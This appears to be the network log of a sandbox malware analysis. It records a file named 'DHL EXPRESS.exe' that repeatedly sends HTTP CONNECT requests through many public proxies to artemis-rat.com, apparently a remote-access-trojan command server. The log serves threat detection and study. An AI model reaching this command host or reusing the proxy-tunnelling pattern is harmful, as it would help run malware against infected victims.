2050	192.168.2.8	50613	162.144.36.208	38242	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.928308010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.063539028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206612110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.206450939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.206366062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.206325054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.206299067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.209083080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2051	192.168.2.8	54645	102.68.128.217	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.931346893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.063556910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206619024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.577948093 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2052	192.168.2.8	50683	192.46.229.19	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.933031082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.956581116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066010952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.065838099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.065686941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.191133022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.193094969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.191116095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:01.190828085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2053	192.168.2.8	54566	187.122.105.181	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.933032036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2054	192.168.2.8	50700	192.163.200.200	35396	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.956902027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.956496954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066013098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.065942049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.065691948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2055	192.168.2.8	51740	104.200.135.46	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.977876902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2056	192.168.2.8	54851	154.12.255.155	53225	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.978866100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.065675020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.068097115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.065937042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2057	192.168.2.8	51817	142.54.235.9	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.979176044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2058	192.168.2.8	50689	68.188.93.171	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.062990904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.063744068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.362528086 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 710 Content-Type: text/html Date: Mon, 11 Mar 2024 17:37:04 GMT Expires: Mon, 11 Mar 2024 17:37:04 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2059	192.168.2.8	55297	72.195.101.99	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.064781904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2060	192.168.2.8	54817	51.158.76.35	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.084645987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.268807888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.362972021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.362684011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.539370060 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2061	192.168.2.8	50876	51.83.184.241	9191	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.113765955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.268929958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.362996101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.362700939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.456301928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.581423044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.581437111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.597018003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:01.690715075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2062	192.168.2.8	50711	103.84.177.27	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.139935017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.174571991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206654072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.206444025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2063	192.168.2.8	50716	196.61.44.54	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.162465096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2064	192.168.2.8	50782	168.205.217.37	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.195331097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2065	192.168.2.8	50958	207.180.234.220	48963	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.223005056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.300198078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.409892082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.409754038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.409558058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2066	192.168.2.8	54926	167.86.69.142	42214	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.226866961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.300247908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.409892082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.409789085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.409559011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2067	192.168.2.8	55317	82.113.157.122	31280	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.236668110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2068	192.168.2.8	51010	132.148.16.169	52326	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.237216949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.269079924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.362998962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.362696886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.456336975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
